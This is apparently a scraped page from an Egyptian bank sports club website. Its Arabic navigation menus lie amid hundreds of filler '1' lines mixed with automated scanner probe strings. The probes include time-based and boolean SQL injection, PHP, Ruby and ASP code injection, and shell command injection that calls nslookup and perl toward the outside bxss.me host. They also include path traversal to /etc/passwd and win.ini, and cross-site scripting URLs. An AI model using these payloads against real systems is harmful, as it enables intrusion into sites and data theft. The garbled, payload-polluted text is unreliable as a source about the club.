نادى البنك الأهلى المصرى

1
1
1
1
1
1
1
1
1
1
1
1
http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
1some_inexistent_file_with_long_name.jpg
Http://bxss.me/t/fit.txt
http://bxss.me/t/fit.txt?.jpg
bxss.me
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
kiB9Z8G1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
-1 OR 2+429-429-1=0+0+0+1 --
-1 OR 2+79-79-1=0+0+0+1
-1' OR 2+553-553-1=0+0+0+1 --
-1' OR 2+375-375-1=0+0+0+1 or 'fTtzS01F'='
1
1
'"()
1
1
1
1
1
1
1
1
1
'"
1
1
1
1
1
1
1
1
1
1
19658398
1
1
1
1
1
1
1
1
1
1
الرئيسيــة
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
�''💡' class='Title'>1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'.gethostbyname(lc('hituw'.'mqpdtqiu7488d.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(112).chr(73).chr(108).chr(76).'
".gethostbyname(lc("hitwc"."zcirptzi5c40a.bxss.me."))."A".chr(67).chr(hex("58")).chr(103).chr(76).chr(117).chr(68)."
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
-1" OR 2+244-244-1=0+0+0+1 --
-1" OR 3+244-244-1=0+0+0+1 --
477'
1
1
1
1
1
1
if(now()=sysdate(),sleep(12),0)
1
1
1
0'XOR(if(now()=sysdate(),sleep(12),0))XOR'Z
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
0"XOR(if(now()=sysdate(),sleep(12),0))XOR"Z
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
(select(0)from(select(sleep(12)))v)/*'+(select(0)from(select(sleep(12)))v)+'"+(select(0)from(select(sleep(12)))v)+"*/
-1; waitfor delay '0:0:12' --
1
1
1
-1); waitfor delay '0:0:12' --
-1)); waitfor delay '0:0:12' --
1 waitfor delay '0:0:12' --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
;print(md5(31337));
';print(md5(31337));$a='
";print(md5(31337));$a="
${@print(md5(31337))}
1
1
1
${@print(md5(31337))}\
'.print(md5(31337)).'
1
0NdmDsXx'; waitfor delay '0:0:12' --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
HttP://bxss.me/t/xss.html?%00
bxss.me/t/xss.html?%00
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
YmHIrppO'); waitfor delay '0:0:12' --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
"+"A".concat(70-3).concat(22*4).concat(120).concat(68).concat(118).concat(75)+(require"socket" Socket.gethostbyname("hitum"+"zcssmexzd5323.bxss.me.")[3].to_s)+"
'+'A'.concat(70-3).concat(22*4).concat(110).concat(83).concat(120).concat(76)+(require'socket' Socket.gethostbyname('hittm'+'yyhrieoye9949.bxss.me.')[3].to_s)+'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
modules.aspx
1
1
1
1
modules.aspx
modules.aspx/.
1
1
1
1
1
1
1
1
1
1
1
C4Y6zrf8')); waitfor delay '0:0:12' --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
-5 OR 142=(SELECT 142 FROM PG_SLEEP(12))--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
-5) OR 372=(SELECT 372 FROM PG_SLEEP(12))--
-1)) OR 533=(SELECT 533 FROM PG_SLEEP(12))--
1
1
1
1
1
UuasQuF7' OR 299=(SELECT 299 FROM PG_SLEEP(12))--
mKO4Uml9') OR 310=(SELECT 310 FROM PG_SLEEP(12))--
1
1
1
Dovp38U7')) OR 20=(SELECT 20 FROM PG_SLEEP(12))--
1
1
1
1
1
1
1
1
1
1
1
1
1
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),12)
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),12)||'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
/xfs.bxss.me
1
1'"
\
1��%2527%2522
@@QWdGD
JyI=
�'�"
�''�""
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
a9XhrDVR
1
1
response.write(9301053*9331733)
'+response.write(9301053*9331733)+'
"+response.write(9301053*9331733)+"
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
echo dwujho$()\ schulv\nz^xyu||a #' &echo dwujho$()\ schulv\nz^xyu||a #|" &echo dwujho$()\ schulv\nz^xyu||a #
&echo tpfhrc$()\ buxoqa\nz^xyu||a #' &echo tpfhrc$()\ buxoqa\nz^xyu||a #|" &echo tpfhrc$()\ buxoqa\nz^xyu||a #
1
1
1
1
|echo vcenpy$()\ ibxloz\nz^xyu||a #' |echo vcenpy$()\ ibxloz\nz^xyu||a #|" |echo vcenpy$()\ ibxloz\nz^xyu||a #
(nslookup hityzqsihbgxna7f93.bxss.me||perl -e "gethostbyname('hityzqsihbgxna7f93.bxss.me')")
$(nslookup hitpguupyyyol8c625.bxss.me||perl -e "gethostbyname('hitpguupyyyol8c625.bxss.me')")
&(nslookup hitbuzdynmuvz8e0f8.bxss.me||perl -e "gethostbyname('hitbuzdynmuvz8e0f8.bxss.me')")&'\"`0&(nslookup hitbuzdynmuvz8e0f8.bxss.me||perl -e "gethostbyname('hitbuzdynmuvz8e0f8.bxss.me')")&`'
|(nslookup hitrdmyrfcpsvda048.bxss.me||perl -e "gethostbyname('hitrdmyrfcpsvda048.bxss.me')")
1
1
1
1
`(nslookup hitcazytljqcd1630a.bxss.me||perl -e "gethostbyname('hitcazytljqcd1630a.bxss.me')")`
1
1
../../../../../../../../../../etc/passwd
../../../../../../../../../../windows/win.ini
1
../1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
;(nslookup hitqqevvlgzoj9615a.bxss.me||perl -e "gethostbyname('hitqqevvlgzoj9615a.bxss.me')")|(nslookup hitqqevvlgzoj9615a.bxss.me||perl -e "gethostbyname('hitqqevvlgzoj9615a.bxss.me')")&(nslookup hitqqevvlgzoj9615a.bxss.me||perl -e "gethostbyname('hitqqevvlgzoj9615a.bxss.me')")
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
${10000055+9999354}
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
12345'"\'\");|]*{ <>�''💡
1
1
1
1
1
1
1
1
1
1
1
1
1&n958430=v930354
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
)
!(()&&!|*|*|
^(#$!@#$)(()))******
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
أخبـار
عن النـادى
- تاريخ النادى
- مجلس الإدارة
اتصل بنـا
الفرق الرياضيـة
- كرة السلة
  - رجـال
  - سيدات
- قطاع الألعاب المائية
  - سباحة بالزعانف
  - سباحة حرة
- الكاراتيه
  - كاتا
  - كونتيه
- الكونغ فو
- المصارعة
  - حرة
  - رومانى
- كرة القدم
- تنس ارضى
- تنس طاولة
- خماسى حديث
- ذوى الاحتياجات الخاصة
- شركات
- خماسى صالات
خدمات
- ادارية
- اجتماعية
جيم وعلاج طبيعى
الأكاديميات
- شروط الالتحاق بالأكاديميات
- كرة القدم
- سباحة
- سلــة
- الكاراتيه
- كونغ فو
- مصارعة
- تنس أرضى
- خماسى حديث
- اللياقة البدنية والتأهيل للكليات العسكرية
مواعيد المباريات
صحة وغذاء
فيديوهات
الحوارات
عروض خاصة
1
1